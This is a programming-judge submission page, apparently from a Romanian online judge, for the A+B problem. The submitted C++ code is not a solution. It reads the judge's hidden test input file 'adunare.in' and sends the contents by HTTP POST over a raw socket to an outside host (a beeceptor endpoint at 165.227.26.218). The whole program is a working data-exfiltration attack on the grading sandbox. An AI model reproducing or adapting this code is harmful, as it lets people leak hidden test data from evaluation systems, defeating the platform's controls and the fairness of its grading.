Cod sursa(job #2884394)

Utilizator hgdsjagjsdhajhgsdahgdsjagjsdhajhgsda hgdsjagjsdhajhgsda Data 3 aprilie 2022 12:08:19
Problema A+B Scor 0
Compilator cpp-64 Status done
Runda Arhiva de probleme Marime 1.57 kb
#include <iostream>
#include <fstream>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <cstring>
#include <sstream>
using namespace std;
ifstream fin("adunare.in");
ostringstream convert;


int main ( int argument, char const *argv[] )
{
    int obj_socket = 0;
    struct sockaddr_in serv_addr;
    char message[150] = {0};
    strcat(message, "POST / HTTP/1.0\nHost: asdfg.free.beeceptor.com\nUpgrade-Insecure-Requests: 1\nContent-Length: ");
    char input[10];
    fin.getline(input, 10);
    convert << strlen(input);
    strcat(message, convert.str().c_str());
    strcat(message, "\n\n");
    strcat(message, input);
    strcat(message, "\n");
    printf ( "%s\n", message );
    char buffer[1] = {0};
    if (( obj_socket = socket (AF_INET, SOCK_STREAM, 0 )) < 0)
    {
        cout << "Socket creation error !";
        return 1;
    }
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_port = htons(80); // PORT
    // Converting IPv4 and IPv6 addresses from text to binary form
    if(inet_pton ( AF_INET, "165.227.26.218", &serv_addr.sin_addr)<=0) //HOST
    {
        printf ( "\nInvalid address ! This IP Address is not supported !\n" );
        return 2;
    }
    if ( connect( obj_socket, (struct sockaddr *)&serv_addr, sizeof(serv_addr )) < 0)
    {
        cout << "Connection Failed : Can't establish a connection over this socket !";
        return 3;
    }
    send ( obj_socket , message , strlen(message) , 0 );
    //printf ( "\nClient : Message has been sent !\n" );
    read ( obj_socket, buffer, 1 );
    printf ( "%s\n",buffer );
    return 0;
}